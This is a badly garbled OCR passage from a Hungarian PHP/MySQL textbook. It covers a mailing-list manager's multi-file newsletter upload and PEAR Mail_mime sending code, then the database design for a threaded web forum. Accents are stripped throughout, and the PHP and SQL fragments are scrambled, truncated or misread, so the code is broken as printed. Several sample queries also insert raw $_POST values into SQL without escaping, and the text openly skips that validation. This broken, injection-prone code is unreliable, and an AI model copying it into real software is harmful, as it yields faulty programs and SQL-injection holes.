Az sszes tbbi rlapmez fjlfeltltsre szolgl, amit a mellette lv .Tallzs" gomb is jelez. Hrlevl kldshez az admi nisztrtornak a szveges s a HTML verzit is fel kell tltenie (ez termszetesen tetszs szerint mdosthat). Az rlapon j nhny tovbbi kpmez is lthat, amelyekkel az adminisztrtor a HTML verziba begyazott kpeket tltheti fel - ha van nak ilyenek. Minden egyes llomnyt egyenknt kell kivlasztani s feltlteni. Ez az rlap nagyon hasonl a szoksos fjlfeltltsekhez hasznltakhoz, a klnbsg annyi, hogy jelen esetben tbb fjl fel tltsre alkalmas. Ez aprbb mdostsokat ignyel az rlap szintaktikjban, illerve az rlap elkldse utn kicsit mskppen kell kezelnnk a feltlttt fjlokat. A hirlevel_urlap_megj elenitese () fggvny kdjt a 30.15 pldakd mutatja. 30.15 pldakd; A kimeneti_fuggvenyek.php
30
'
echo ">".$lista [$i] [l] ."</option>\n"; ?> </select> <ltd> </tr> <tr> <td bgcolor="lcccccc">Trgy:</td> <td bgcolor="lcccccc"> <input type="text" name="targy" value="<?php echo $targy; size="60" /></td> </tr> <tr> <td bgcolor="lcccccc">Szveges vltozat:</td> <td bgcolor="lcccccc"> <input type="file" name="felhasznaloi_fajl[O]" size="60"/></td> </tr> <tr><td bgcolor="lcccccc">HTML vltozat:</td> <td bgcolor="lcccccc"> <input type="file" name="felhasznaloi fajl[l]" size="60" /><ltd> ?>"
506
30. fejezet
</tr> <tr><td bgcolor="lcccccc" colspan="2">Kpek: <?php $max kepek=lO; for($i=O; $i<l0; $i++) (opcionlis)
echo "<tr><td bgcolor=\"lcccccc\">Kp ".($i+l)." <ltd> <td bgcolor=\"#cccccc\"><input type=\"file\" name=\"felhasznaloi fajl[".($1+2)."]\" size=\"60\"/></td> </tr>"; ?> <tr><td colspan="2" bgcolor="#cccccc" align="center"> <input type="hidden" name="max_kepek"
30
value="<?php echo $max_kepek; <input type="hidden" name="listaiD" value="<?php echo $listaiD; <ltd> </form> </tr> </table> <?php
?>">
?>"> ?>
<?php urlap_gomb_megjelenitese('fajlok-feltoltese');
J Figyeljk meg a fenti kdban, hogy a felelteni kvnt fjlok nevt inputok sorozataknt adjuk meg! Az sszes input file tpus, s nevk felhasznaloi_fajl [O ]-tl felhasznaloi_faj l [nl-ig megy. Lnyegben ugyangy kezeljk ezeket
az
rlapmezket, ahogyan a jellngyzeteket kezelnnk, s a tmbknl megszokott mdon nevezzk el ket. Ha tetszleges
szm f:ijlt kvnunk felelteni PHP kddal, s szeretnnk, ha tmbknt egyszeren rudnnk kezelni ket, akkor ezt a md szett rdemes kvetni. Az rlapot feldolgoz kd vgl hr om t m bt ad eredmnyl. Vizsgljuk meg most ezt a kdot!
507
ll az admin eszkzsor gombjainak belltsa $gombok = array(); $gombok[0] $gombok[l] $gombok[2] $gombok[3] $gombok[4] $gombok[5] $gombok[6] $gombok[7]
=
html_fejlec_letrehozasa('Pyramid-MLM - Fjlfeltlts'); eszkozsor_megjelenitese($gombok); ll ellenrizzk, hogy az oldalt a megfelel adatokkal hvjuk meg
30
if((!$_FILES['felhasznaloi_fajl'] ['name'] [0]) ll (!$_FILES['felhasznaloi_fajl']['name'][l]) ll (!$_POST[ 'targy'] l l!$_POST['lista']) ) echo "<p>Hiba trtnt: Csak a kpek opcionlis mezk. A 'hrlevl trgyra', html_lablec_megjelenitese(); exit; a 'szveges verzi' s a 'HTML verzi' mezok kitltse ktelez.</p>";
$lista $targy
$_POST['lista']; $_POST['targy'];
"insert into hirlevel values (NULL, '".$_SESSION['admin_felhasznalo']."', '".$targy."', '".$lista."', 'TAROLT', NULL, NULL)";
html_lablec_megjelenitese();
$kapcsolat->insert_id;
508
30. fejezet
if(!$hirlevellDl
30
ll lpkedjnk vgig a feltlttt fjlok tmbjn! $i = 0; while (($_FILES['felhasznaloi faj!']['name'][$i]) ($_FILES['felhasznaloi faj!']['name'][$i] echo "<p>Feltolts:
&&
!='none'))
".$_FILES['felhasznaloi fajl']['name'][$i]."
if ($_FILES['felhasznaloi faj!']['size'][$i]==0) echo "<p>Hiba trtnt: a(z) ".$ FILES ['felhasznalc fajl'l['name'l[$il .
{ {
$cel = "archive/".$lista."l".$hirleveliD."/szoveg.txt"; else if($i == l) $cel else $cel "archive/".$lista."/".$hirleveliD."/" .$ FI LES ['felhasznalc faJl']['name'] [$il; $lekerdezes = "INSERT INTO kepek VALUES ('".$hirleveliD."',
"archive/".$lista."/".$hirleveliD."/index.html";
509
if (!is_uploaded_file($_FILES['felhasznaloi_fajl'] ['tmp_name'] [$i])) ll lehetsges fjlfeltltsi tmads szlelse echo "<p>Valami vicces trtnik a(z) " .$_FILES['felhasznaloi_fajl'] ['name' l." fjllal, html_lablec_megjelenitese(); exit; nem tltdik fel.";
/
$cel);
30
\
$hirleveliD, $hirleveliD,
'HTML-elonezete'); 'szoveges-elonezete');
"&id=$hirleveliD"); 50px\"> <lp>";
Menjnk vgig lpsrl lpsre a 30.16 pldakd tartalmn l Elszr is munkamenetet indtunk, s ellenrizzk, hogy a fel hasznl adminisztrtorknt jelentkezett-e be; erre azrt van szksg, mert senki msnak nem kvnjuk megadni a fjlfeltlts lehetsgt. Szigoran vve a lista s a hirleveliO vltozt is ellenrizni kellene, hogy nincsenek-e bennk nem kvnt karakterek, de ettl az egyszersg kedvrt eltekintennk. Ezt kveten elksztjk s elkldjk az oldalfejlceket, majd ellenrizzk, hogy az rlap megfelelen lett-e kitltve. Ez a l ps azrt klnsen fontos ebben az esetben, mert a felhasznl meglehetsen sszetett rlappal tallta magt szemben. Ezutn rgztjk az adatbzisban a hrlevelet, majd ltrehozunk trolsra egy knyvtrat az archvumban. Ezt kveten jn a kd f rsze, ami egyenknt ellenrzi s thelyezi a feltlttt fjlokat. Ez az a rsz, ami egyszerre tbb fjl feltltse esetn eltr attl, amit eddigi munknk sorn lttunk. Jelen esetben ngy tmbt kell kezelnnk; ezek neve rendre
$_FILES['felhasznalo_fajl'] ['name'],$_FILES['felhasznaloi_fajl'] ['tmp_name'], $_FILES [ 'felhasznaloi_fajl' l ['size'] s$ _FILES [ 'felhasznaloi_fajl' ] ['type']. Az egyszeres fjl
feltltskor hasznlt, hasonl nev vltozknak felelnek meg, a klnbsg annyi, hogy itt tmbkkel van dolgunk. Az rlapon elsknt megadott fjl adatait a$ _FILES['felhasznaloi_fajl' l ['tmp_name' l [O L a $ _FILES['felhasznaloi
['type' l [O l tmbelem tartalmazza.
_
Ezen a ngy tmbn elvgezzk a szoksos biztonsgi ellenrzseket, majd thelyezzk az llomnyokat az archvumba. Vgl megjelentnk az adminisztrtornak nhny gombot, amivel klds eltt megtekintheti a feltlttt hrlevl mindkt verzijt, illetve elkldheti azt. A feltoltes.ph p kimenett a 30.13 brn ltjuk.
510
30.fezet
30
h irleve1-
az
case thirlevel-megtekinteset: elemek_megjelenitese(tEl nem kldtt hrlevelekt, elkldetlen_hirlevel lekerese(email lekerese()), t HTML-elonezetet, break;
t
szoveges-elonezetet,
t kuldes
fggvnyt, ez alkalommal
HTML-elonezete t,
a t szoveges-elonezete t s a
kuldest
Figyeljk meg, hogy az elnzet gombokra kattints nem valamilyen mveletet vlt ki: ezek a gombok kzveclenl az arch vumban lv, megfelel hrlevlre hivatkoznak! Ha visszalapozunk a 30.7 s a 30.16 pldakdhoz, ltni fogjuk, hogy ezeket a gombokat a szoksos gomb_ megjelenitese () fggvny helyett hozzuk ltre. A gomb_megjeleni tese() fggvny kp formjban megjelen hivatkozst hoz ltre valamely kdhoz, az elonezet_
gomb_ megjelenitese
az
() fggvnnyel
() fggvny ugyanakkor az archvumba mutat, egyszer linket llt el. A HTML horgonycmke
(tag) target="new" attribtumnak ksznheterr ez a hivatkozs j ablakban nylik meg. A 30.14 brn egy hrlevl HTML verzijnak elnzett lthatjuk.
30.14 bra: Egy HTML hrlevl elnzete a kpekkel egytt jelenik meg.
511
A hrlevl kikldse
A hrlevelek .. Klds" gombjra kattintva a 'kuldes' mveletet vltjuk ki, amely az albbi kdot futtatja:
case ' kuldes' : kuldes($_GET [ 'id'], break; $ SESSION['admin felhasznalo']);
A kd az mlm_fuggvenyek.php knyvtrban tallhat kuldes ( ) fggvnyt hvja meg. Ebben a hossz, a 30.17 plda
ll a hirlevl ltrehozsa az adatbzisban trolt elemekbl s fjlokbl ll tesztlevelek kldse az adminisztrtornak ll vagy igazi hrlevelek kldse a teljes listra
function kuldes($hirleveliD, return false; $admin_felhasznalo) { if(!admin_felhasznalo_ellenorzese($admin felhasznalo))
r-
30
if(! ($info = hirlevel_info_betoltese($hirleveliD))) echo "<p>Nem sikerlt betlteni a ".$hirleveliD." hrlevlhez tartoz informcikat.</p>"; return false;
$targy Sallapot
$elkuldve
$felado_neve
'".$listaiD."'";
$kapcsolat = adatbazishoz_kapcsolodas(); $eredmeny = $kapcsolat->query($lekerdezes); if (! $eredmeny) { echo $lekerdezes; return false; else if ($eredmeny->num_rows==0} return false; ( echo "<p>Senki nincs feliratkozva a(z) ".$listaiD." szm listra.</p>";
s adjuk t neki
512
30.fezet
$szoveg
fread($tfp,
files1ze($szoveges fajl_neve));
felcse($tfp);
"archivel".$listaiD."I".$hirleveliD."Iindex.html"; "r");
filesize($HTML_fajl_neve));
30
$sor[l];
ll zenet fejlcnek ltrehozsa $felada = '"' .valodi_nev_lekerese($admin_felhasznalo).'" <' .$admin_felhasznalo.'>'; $fejlec_tomb array( 'Felad' => $felada, 'Trgy' => $targy);
if($allapot == 'TAROLT')
ll az zenet egyszer szveges vltozatnak kldse az adminisztrtornak mail($admin_felhasznalo, $targy, $szoveg, 'Felad: "'
513
.valodi nev_lekerese($admin_ felhasznalo) '" <'.$admin_felhasznala.'>'); echo "zenet elkldve a(z) ".$admin_felhasznalo." cmzettnek";
ll a hrlevl megjellse teszteltknt $lekerdezes = "UPDATE hirlevele SET allapot = 'TESZTELT' WHERE hirleveliO = '".$hirleveliD."'"; $eredmeny = $kapcsolat->query($lekerdezes);
echo "<p>A teljes levelezlistnak val kldshez kattintson jra a Klds gombra! <div align=\"center\">"; gomb_megjelenitese('kuldes', echo "<ldiv></p>"; '&id='.$hirleveliD);
l'
'TESZTELT')
else if($allapot ==
30
al_listak.email, felhasznalak
$lekerdezes
ll szveges verzi kldse a nem HTML hrlevelet krknek mail($felhasznalo[l], $targy, $szoveg,
'Felad:
<'.$admin felhasznalo.'>');
$szamlalo++;
$lekerdezes = "UPDATE hirlevel SET allapot = 'ELKULDOTT', WHERE hirleveliO = '".$hirleveliD."'"; $eredmeny = $kapcsolat->query($lekerdezes); echo "<p>sszesen $szamlalo hrlevelet kldtnk ki.<lp>"; else if ($allapot == 'ELKULDOTT')
kuldve
now()
514
30. fejezet
A fggvny szmos dolgot tesz. Klds eltt tesztlevlben elkldi az adminisztrtornak a hrlevelet, s a hrlevl llapott az adatbzisban nyomon kvetve feljegyzi, hogy a teszt megtrtnt. Amikor a feltltkd feltlt egy hrlevelet, "TAROLT"-ra lltja annak llapott. Ha akuldes () fggvny azt llaptja meg, hogy valamely hrlevlnek "TAROLT" az llapota, "TESZTELT"-re mdostja, s elkldi az adminisztrtornak a tesztzenetet. A "TES Z TELT" llapot azt jelzi, hogy a hrlevl tesztzenetknt el lett kldve az admi nisztttomak. Ha az llapot mr "TES z TELT", akkor "ELKULDOTT" -re vltozik, amint a hrlevelet a teljes levelezlistra kikldtk Ez rtelemszeren azt jelenti, hogy minden egyes hrlevelet ktszer fogunk elkldeni: egyszer teszt mdban, egyszer pedig lesben. A fggvny radsul krfle e-mailt kld: a szveges verzit a PHP mail () fggvnyvel, illetve a HTML verzit a Mail_mime osztllyal. A mail() fggvnnyel mr tbbszr tallkezrunk a knyvben, ezrt nzzk meg most azt, hogyan hasznljuk a Mail_mime osztlyt! Nem fogjuk teljes kren bemutatni ezt az osztlyt, inkbb csak elmagyarzzuk, hogyan hasznltuk ebben a viszonylag tipikus alkalmazsban. Azzal kezdjk, hogy beillesztjk az osztlyfjlokat, majd ltrehozzuk a Mail_mime osztly egy pldnyt:
ll PEAR mail osztlyok beillesztse
include('Mail.php');
30
include('Mail/mime.php');
s adjuk t neki
Lthatjuk, hogy kt osztlyfjl lett itt beillesztve. A PEAR ltalnos Mail osztlyt a kd ksbbi rszben, a hrlevl tny leges elkldsre fogjuk hasznlni. Ez az osztly benne tallhat PEAR-teleptsnkben. A Mail_mime osztlyt az elkldeni kvnt, MIME formtum zenet ltrehozsra fogjuk hasznlni. Ezt kveten beolvassuk a hrlevl szveges s HTML verzijt, majd hozzadjuk a Mail_mime osztlyhoz:
ll olvassuk be a hrlevl szveges vltozatt!
$szoveges faJl_neve = "archive/".$listaiD."/".$hrleveliD."/szoveg.txt"; $tfp
=
fopen($szoveges fajl_neve,
"r");
filesize($szoveges fajl_neve));
fopen($HTML_fajl_neve,
"r");
filesize($HTML_fajl_neve));
Ezutn betltjk az adatbzisbl a kpadatokat, s ciklussal vgiglpkednk rajruk, hozzadva a kpeket a kldeni kvnt hrlevlhez:
$num = $eredmeny->num_rows; for($i = 0; $i<$num; $i++)
Az addHTMLimage () fggvnynek radott paramterek sorrendben: a kpfjl neve (illetve tadhatjuk a kpadatot is), a kp MIME tpusa, a fjlnv jra, illetve a true rtk, ami azt jelzi, hogy az els paramter fjlnv volt, nem pedig fjladat. (Ha nyers kpadatot szetetnnk tadni, akkor a paramterek sorrendben: a kpadat, a MIME tpus, egy res paramter s vgl a false rtk lenne.) A paramterek hasznlata egy ks odafigyelst ignyel. Ennl a pontnl, az zenet fejlcnek elksztse eltt kell ltrehozni az zenet tartalmr. Ezt a kvetkezkppen tesszk meg:
515
Ezt kveten a Mail_mime osztly headers(l fggvnyt meghvva hozzuk ltre az zenet fejlct:
ll zenet fejlcnek ltrehozsa
$felada = '"' .valodi_nev_lekerese($admin_felhasznalo). '" 'Felad' => $felada, 'Trgy' => $targy);
<'
.$admin_felhasznalo.'>';
$fejlec_tomb = array(
Vgl, rniutn elksztettk az zenetet, elkldhetjk Ehhez ltre kell hozni a PEAR Mail osztlynak egy pldnyt, amelynek tadhatjuk a ltrehozott zenetet. Els lpsknt ltrehozzuk az osztlypldnyt:
ll a tnyleges kldobjektum ltrehozsa
$kuldo =& Mail::factory('mail');
(Az itt hasznlt 'mail' paramter pusztn kzli a Mail osztllyal, hogy a PHP mail() fggvnyvel kldje az zenete ket. A paramterben hasznlhatnnk mg a 'sendmail' s az 'smtp' rtket is.) Ezutn elkldjk a hrlevelet minden feliratkozott felhasznlnak. Ehhez ciklus segtsgvel vgiglpkednk a levelezlistra feliratkozott minden felhasznln, majd az ltaluk kivlasztott MIME tpusnak megfelelen meghvjuk a ku ldes () vagy a ha gyomnyos mail (l fggvnyt:
if($felhasznalo[2]=='H'l
30
.$admin felhasznalo.'>');
A $kuldo->kuldes(l els paramtere a felhasznl e-mail cme, a msodik a fejlc, a harmadik pedig az zenet tartalma kell, hogy legyen. Kszen is vagyunk! Ezzel befejeztk a levelezlista-kezel alkalmazs ltrehozst.
A projekt tovbbfejlesztse
Akrcsak a korbbi projekteknl, itt is elmondhat, hogy sokflekppen bvthetjk az alkalmazs funkciit. Gondoljuk vgig a kvetkez lehetsgeket: Krjnk visszaigazolst a feliratkozsrl, hogy beleegyezse nlkl senkit ne lehessen a levelezlistkra feliratnil Ezt ltalban a felhasznJk e-mail cmre kldtt visszaigazol zenettel lehet megvalstani: ha valaki nem vlaszol erre az e-mailre, akkor nem rjuk fel az adott listra. Ezzel a mdszerrel arra is fny derlhet, ha valakinek hibsan kerlt be az e-mail cme az adatbzisba. Adjuk meg az adminisztrtornak a lehetsget, hogy jvhagyja vagy elutastsa a felhasznJk feliratkozsi krst! Tegyk nyltt a levelezlistkat, vagyis engedjk meg azt, hogy brmelyik tag kldhessen zenetet a listra! Csak a regisztrlt tagoknak tegyk elrhetv a levelezlistk archvumt! Teremtsle meg a felhasznlknak a levelezlistk kztti keress lehetsgt! Egyes felhasznlkat pldul csak a golffal kapcsolatos hrlevelek rdekelhetile Amikor a hrlevelek szma bizonyos rtket elr, hasznoss vlik a kzttk val keress lehetsge. Tegyk az alkalmazst hatkonyabb, hogy nagy levelezlistkat is kpes legyen kezelni! Ehhez vegynk ignybe olyan levelezlista-kezelt, rnint pldul az ezmlm, amely tbbszl mkdssel kpes az zeneteket vrakozsi sorba helyezni s kikldeni! Nem igazn lesz hatkony, ha a mail (l fggvnyt sokszor meghvjuk PHP-ben, ezrt sok taggal br levelezlistk esetn a PHP nem lesz alkalmas a httrmunkra. A levelezlista fellett ettl fggedenill fejleszthetjk PHP-ben, de a munka tbbi rszt hagyjuk meg az ezmlm-nek!
Hogyan tovbb
A kvetkez fejezetben olyan webes frumot fejlesztnk, ahol a felhasznJk klnbz tmkban folytathatnak online eszme csert, illetve oszthatjk meg gondolataikat egymssal.
31
Webes frum fejlesztse
Kivl mdszer oldalunk ltogatottsgnak nvelsre, ha felhasznli frumct mkdtetnk. A frumok tbbfle clt szol glhatnak: lehetnek egyszeren vitafrumok, ahol a tagok megosztjk s megbeszlik egymssal az adott tmrl kialakult vlemnyket, de ugyangy akr mszaki termktmogats cljra is alkalmasak. Az elttnk ll fejezetben PHP-ben fejlesz tnk webes frumot. A sajt program fejlesztsnek lehetsges alternativja egy meglv programcsomag, pldul a Phorum alkalmazsa. A webes frumok (amiket angolul
webforum, illetve discussion board vagy threaded discussion group nven is szoks emleget
ni) gy mkdnek, hogy valaki adott tmt elindt hozzszlst r, vagy valamilyen krdst tesz fel, amit msok elolvasharnak s megvlaszolhatnak, illetve hozzszlsaikban kifejthetik a vlemnyket. A frumban tallhat klnbz"beszlgetseket" tmknak (topikoknak) nevezzk. Projektnkben a blah-blah nev webes frumct fogjuk ltrehozni. Felhasznlinak lehetv tesszk, hogy els hozzszlst vagy posztot rva j tmt kezdjenek, megrekintsk a korbbi hozzszlsokat, vlaszoljanak a korbbi hozzszlsokra,
megrekintsk az egyes tmkon bell a "beszlgetsek fonalait'; megjelentsk a hozzszlsok kztti kapcsolatot - vagyis lssk, hogy az egyes hozzszlsok melyik korbbi hozz szlsea vlaszolnak.
szerzjket, cmket, idpontjukat s tartalmukat is feljegyezzk. Els pillantsra ez nem sokban klnbzik a Book-O A frumkezel alkalmazsok tbbsge azonban gy mkdik, hogy a meglv hozzszlsokon tlmenen a kzttk
Rama adatbzistL fennll kapcsolatot is kpesek megjelenteni. Ez azt jelenti, hogy lthatjuk, hogy mely hozzszlsok vlaszolnak korbbiakra (s melyik hozzszlsbl indulnak ki), s melyek azok a hozzszlsok, amelyek j tmt indtanak. Sok helyen ltharunk gy mkd frumot, pldaknt emltsk meg a Slashdot frumt, ami a http:/ /slashdot.org cmen rhet el! rdemes alaposan vgiggondolni, hogyan kvnjuk megjelenteni ezeket a kapcsolatokat. Rendszernk felhasznlinak le hetv kell tenni, hogy megrekinthessenek egy adott hozzszlst, egy ltaluk kivlasztott tmt - ami radsul a benne lv hozzszlsok kztti kapcsolatokat is megjelenti -, illetve a rendszerben elrhet sszes topikot. A felhasznlknak rudniuk
kell j tmt indtani, illetve korbbi hozzszlsokra vlaszolni. Ez lesz a feladarunk legknnyebb rsze.
A megolds alkotelemei
Ahogy mr jeleztk, az egyes hozzszlsok szerzjnek s szvegnek eltrolsa, illetve visszakeresse egyszer dolog. Az alkalmazs legnagyobb kihvsa egy olyan adatbzis-szerkezer kigondolsa, amely kpes trolni a kvnt informcit, illetve megtallni
a az
ebben a szerkezetben hatkony navigcit jelent mdszert. A hozzszlsok szerkezete egy adott tmn bell
518
3l.fezet
Reply l
Reply
l to Reply l
Reply 2 to Reply l
Reply 2
Reply 3
Reply
l to Reply 3
hozzszlsa lehet j tma els hozzszlsa, de ennl gyakoribb, hogy korbbi hozzszlsra adott vlasz.
Az brbl ltszik, hogy a tmt a legels hozzszls indtja, amire vlaszu! hrom hozzszlst rtak.Ezek kztt is van
olyan hozzszls, amelyre vlaszoltak. Ezekre a vlaszokra is rkezhetnek tovbbi vlaszok, s gy tovbb.
Az brra nzve mr sejthegk, hogy miknt rdemes eltrolni, illetve visszakeresni a hozzszlsok adatait s a hozzsz
lsok kztti kapcsolatokat.Az brnJastruktrt lthatunk. A tapasztalt programozk tudjk, hogy ez az egyik leggyakrabban hasznlt adatszerkezet.Az brn csompontokat
-
pontosan gy, mint brmely fastruktrban.(Akkor sem rdemes aggdni, ha nem ismerjk a ft mint adatstruktrt: az ala pokat tvesszk majd, ahogy haladunk elre a frum fejlesztsvel.)
31
Ahhoz, hogy mindez jl mkdjn: tallnunk kell egy megfelel mdszert arra, hogy a fastruktrt lekpezzk a trolsra -jelen esetben egy MySQL adat bzisba;
Projektnknek gy kezdnk neki, hogy lttehozzuk a hozzszlsok trolsra szolgl MySQL adatbzist. Ezt kveten egyszer felhasznli felleteket ksztnk, amelyek a hozzszlsok mentst teszik lehetv. Amikor berltjk a megtekintend hozzszlsok listjt, rninden egyes hozzszls fejlcr berltjk egy cs omopont nev PHP osztlyba.Minden csomopont objektum egy hozzszls fejlct, illetve az arra a hozzszlsta adott vlaszok halmazr fogja tartalmazni. A vlaszokat tmbben fogjuk trolni. Minden vlasz nmagban is egy csomopont lesz, ami az adott hozzszlsta adott vlaszok tmbjt tartalmazza, amelyek megint csak csomopont objektumok lesznek, s gy tovbb.Ez a folyamat addig tart, amg el nem rjk a fa gynevezett levl csompontjait (leaf node), azokat a csompontokat, amelyekre mr nincsen vlasz.Ek kor a 31.1 brn lthathoz hasonl fastruktrt kapunk. Jjjn most egy kis terminolgia! A hozzszlst, amire vlaszolunk, az aktulis csompont szl csompongnak nevez hegk. Egy hozzszlsta rt brmely vlasz az aktulis csompont gyermeke. Ha csaldfaknt kpzeljk el ezt a fastruktrt, akkor knnyebb lesz megjegyezni ezeket a kifejezseket.A fasttuktra els hozzszlst, amelynek nincsen szlje, szoks
Megjegyzs:Kicsit furcsn hangozhat, hogy az els hozzszlst gykrnek nevezzk, mivel a gykr csompontot ltalban az ilyen brk tetejre rajzoijuk, az igazi fk gykerei pedig lenn, a talajban helyezkednek eL
A projekthez szksges fasttuktra ltrehozshoz s megjelentshez rekurzv fggvnyeker fogunk rni.(A rekurzirl
a Kd tbbszriJelhasznlsa s fggvnyrs cm 5.fejezerben esett sz.) gy tltk meg, hogy rdemes osztlyt hasznlni ehhez a struktrhoz, mert ez a legegyszerbb mdja az alkalmazs ltal ignyelt sszetett, dnamikusan bvl adatszerkezet ltrehozsnak. Ez egyttal azt is jelenti, hogy viszonylag egyszer, ele gns kddal fogunk valami meglehetsen sszetett dolgot elrni.
A megolds ttekintse
Hogy jobban megrtsk a projekret, rdemes vgigvenni a kdjt, amit rvidesen meg is tesznk.Az alkalmazs a korbbiaknl kevesebb, m valarnivel bonyolulrabb kdbl ll ssze. Az alkalmazs mindssze hrom oldalbl ll. Az egyik egy f indexoldal, ami az egyes tmkra viv hivatkozsokknt mu tatja a frum sszes tmjt. Ezen az oldalon j tmt indrhatunk, megtekinthetjk a listban szerepl tmkat, illetve a fan zet gait kibontva s sszezrva megvltoztathaguk az egyes tmk nzett. (Errl hamarosan bvebben beszlnk majd.)
519
Az egy adott tmt megjelent oldalon hozzszlhatunk a tmhoz, illetve megtekinthetjk a korbbi hozzszlsokat. Az
j tma oldalon j topikor indthatunk, amelynek tmaindt hozzszlsa lehet vlasz egy korbbi hozzszlsra, illetve lehet j, a korbbi hozzszlsoktl fggetlen zenet. A rendszer folyamatbrjt a 31.2 brn lthatjuk.
Article list
View an article
reply
31.2 bra: A
webesfrumalkalmazsfjijai
Tpus Lers
Nv
index.php
Alkalmazs
A nyitlap, amit a felhasznlk az oldal behvsakor ltnak. Az oldalon tallhat frumtmk kibonthat s sszecsukhat listjt tartalmazza.
31
uj_hozzaszolas.php uj_hozzaszolas_tarolasa.php
Alkalmazs Alkalmazs Alkalmazs Knyvtr Knyvtr Knyvtr Knyvtr Knyvtr Knyvtr SQL
j tma indtsra szolgl rlap. Az oldal, ahol az uj_ hozzaszolas. php rlap tmain dt hozzszlsait troljuk. Az egyes tmkat, illetve az azokhoz rt hozzszlsokat megjelent oldal. A hozzszlsok hierarchijnak megjelentsre hasz nlt csomopont osztlyt tartalmaz fjl. Az alkalmazs fggvnyknyvtrainak listja (a tblzat ezeket a knyvtr tpus fjlokat is tartalmazza). Az adatellenrz fggvnyek gyjtemnye. Az adatbzishoz csatlakozsta hasznlt fggvnyek gyj temnye. A hozzszlsok trolsra s visszakeressre hasznlt fggvnyek gyjtemnye. A HTML kimenetet elllt fggvnyek gyjtemnye. Az alkalmazshoz szksges adatbzist ltrehoz SQL kd.
hozzaszolas_megtekintese.php
csomopont_osztaly.php
beillesztett_fuggvenyek.php
forum_fuggvenyek.php
Az adatbzis megtervezse
A frumhoz rt minden hozzszls esetn a kvetkez attribtumokat kell eltrolnunk: a hozzszl nevt, a hozzszls
cmt, rsnak dtumt s magt a szveget. Ezrt hozzszlsok tbljra lesz szksgnk, s minden egyes hozzszlshoz ltre kell hozni egy hozzaszolas I D nev, egyed azonostt. Az sszes hozzszlsnl tisztban kell lenni azzal, hogy a hierarchin bell hol helyezkedik el. Az egyes hozzszlsok gyermekeire vonatkoz informcit eitroihatnnk akr az adott hozzszlssal egytt, m ez a fajta trolsi md elbb-utbb problmkat okozna az adatbzis felptsben. Mivel minden hozzszls csak egy korbbi hozzszlsta rt vlasz lehet, egyszerbb a dolgunk, ha a szl hozzszlsra mutat hivatkozst troljuk-vagyis azt, hogy melyik hozzszlsra vlaszol. A fentiekbl kvetkezen az albbi adatokat kell minden egyes hozzszls esetn feljegyezni:
hozzaszolasiD szulo
520
31.fezet
hozzaszolo
-A hozzszls szerzje
eim
idopont uzenet
Nmikppen optimalizlni szksges a hozzszlsokrl eltrolt informcikat. Amikor azt prbljuk meg megllaptani, hogy valamely hozzszlshoz tartozik-e vlasz, lekrdezst kell futtami, hogy lssuk, lteznek-e olyan hozzszlsok, amelyeknek az adott hozzszls a szlje. Erre az informcira a megjelenteni k vnt sszes hozzszls esetn szksgnk van. Minl kevesebb lekrdezst kell vgreh:ytanunk, annl gyorsabban fog futni a kdunk. Szksgcelenn tehetjk ezeket a lekrdezseket, ha hozzadunk a tblhoz egy olyan oszlopot, amely jelzi, hogy az adott hozzszlsra rdrak-e vlaszok. Hvjuk ezt a mezt gyermek-nek, s tegyk lnyegben Boole-i vltozv: rtke l lesz, ha a csompontnak vannak gyermekei, s O (nulla), ha nincsenek. Az optimalizlsnak szinte mindig ra van. Jelen esetben ez redundns adatok trolsban jelentkezik. Mivel ktfelekppen troljuk az adatokat, gyelnnk kell, hogy a ktfle mdszer mindig sszhangban legyen egymssal. Gyermek hozzadsakor mdostanunk kell a szlt is. Ha megengedjk a gyermekek, vagyis a vlaszknt rt hozzszlsok trlst, az adatbzis kon zisztenci:ija rdekben a szl csompontot is frissteni kell. Projektnkben nem teremgk meg a hozzszlsok trlsnek lehetsgt, gy a lehetsges problmk ezen felt kzrruk. Ha azonban brmikor gy dntnk, hogy tovbbfejlesztjk ezt az alkalmazst, ne feledkezznk meg errl a krdsrl! Mg egy tovbbi, az optimalizlst szolgl lps szksges: elvlasztjuk a hozzszlsok szvegt a tbbi adattl, s kln tblban troljuk. Ennek az az oka, hogy a hozzszlsok ezen attribtumnak MySQL-tpusa text, azaz szveg lesz. Az, hogy valamely tblzat szveg tpus mezvel rendelkezik, lelassthaga a tbln futtatott lekrdezseket. Mivel a fastruhra
31
ltrehozshoz rengeteg apr lekrdezst kell majd vgrehajtani, ilyen tpus mez esetn igencsak lelassulna az alkalmazs. A hozzszlsok tartalmnak kln tblban trolsval megtehetjk, hogy csak akkor keressk vissza azokat, amikor a fel hasznl meg kvnja jelenteni az adott zeneteket. A rgztett mret rekordokban a MySQL gyorsabban rud keresni, mint a vltoz mretekben. Ha vltoz mret adato kat kell hasznlnunk, rdemes ezekhez a mezkhz indexeket ltrehozni, s azok segtsgvel keresni az adatbzisban. Egyes projekteknl azzal jrunk a legjobban, ha a szveges mezt ugyanabban a tblban hagyjuk, mint minden mst, s indexeket llrunk el azokon az oszlopokon, amelyekre keresni fogunk. m az indexek ellltshoz is idre van szksg, s mvel a f rumban lv adatok minden bizonnyal llandan vltoznak, jra s jra el kellene lltani az indexeket. Egy
terulet
nev attribrumot is hozzadunk a tblhoz; erre akkor lesz szksg, ha a ksbbiekben gy dntnk, hogy
ezzel az egy alkalmazssal tbb tmakrben szeretnnk fruroot mkdtetni. Projektnkben ezt nem hasznljuk k, de a jv re nzve megreremgk a lehetsgt. A frumhoz (a fenti megfontolsok figyelembe vtelvel) szksges adatbzist a 31.1 pldakdban tallhat SQL kd lltja el. 31.1 pldakd:
CREATE DATABASE
USE
forum;
CREATE TABLE
fejlee
szulo INT NOT NULL, hozzaszolo CHAR(20) eim CHAR(20) NOT NULL,
NOT NULL,
gyermek INT DEFAULT 0 NOT NULL, terulet INT DEFAULT l NOT NULL, datum DATETIME NOT NULL, hozzaszolasiD INT UNSIGNED NOT NULL AUTO INCREMENT ); PRIMARY KEY
CREATE TABLE tartalom ( hozzaszolasiD INT UNSIGNED NOT NULL PRIMARY KEY,
521
uzenet TEXT
INSERT,
UPDATE,
DELETE
TO forum@localhost IDENTIFIED
BY
'jelszo';
Meg kell adnunk root jelszavunkat, illetve rdemes lehet a frum felhasznlja szmra bellrorr jelszr valami megfele lbbre vlrozratni. Hogy megrtsk, hogyan trolja ez a srruktra a hozzszlsokat s azok egymshoz viszonyrott kapcsolatt, nzzk meg a 31.3 brt!
Database representation postid: 1 Tree representation
1
l
parent: O
postid: 2
parent: 1
,
postid: 3 parent: 1
postid:4
parent: 2
31
\,
31.3 bra: Az
